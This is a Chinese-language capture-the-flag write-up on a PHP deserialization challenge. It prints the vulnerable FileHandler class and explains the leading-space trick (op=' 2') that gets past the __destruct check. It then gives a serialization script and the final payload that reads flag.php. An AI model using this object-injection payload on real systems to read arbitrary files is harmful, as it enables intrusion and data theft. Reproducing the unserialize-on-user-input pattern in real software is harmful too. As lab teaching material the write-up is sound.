从题目可以看出这道题考查反序列化,反序列化往往和代码审计捆绑销售
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
题目源代码非常长,我们不用从头看起,直接先找反序列化函数从这里入手
从这段代码可以看出,通过GET方法传入一个参数str,然后if里调用了is_valid()函数,分析is_valid()函数发现它就是一个限制输入内容的函数对我们解题没啥影响,然后就是将str反序列化之后的值传给obj
继续分析看到了_destruct()魔术方法,它会在类结束的时候执行,判断op的值是否为2,若为2则改为1,然后content值变为空(这个没什么影响),最后调用process()方法
如果对魔术方法不太了解的话可以参考这篇博客:魔术方法介绍
_construct()魔术方法在类创建时被调用,这里就是给变量赋初值
两个魔术方法都调用了process()方法,分析发现当op=2时会调用read()方法然后再调用output()方法,代码开头包含了flag.php文件,我们的目标就是读取该文件的内容,通过分析代码中的read()方法就是一个读取文件内容的功能,output()顾名思义就是把内容打印出来,所以我们需要令op的值为2
但是_destruct()方法会把op的值改为1,这里需要绕过一下,在2前面加一个空格即可,op= 2
然后分析read()方法,它是把变量filename里的文件读出来,所以我们要让filename=flag.php
通过分析之后我们来构造payload,写一段php代码
<?php
class FileHandler {
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>
运行该段代码得到序列化后的值,最后得到payload为:
str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
最后查看页面源代码即可得到flag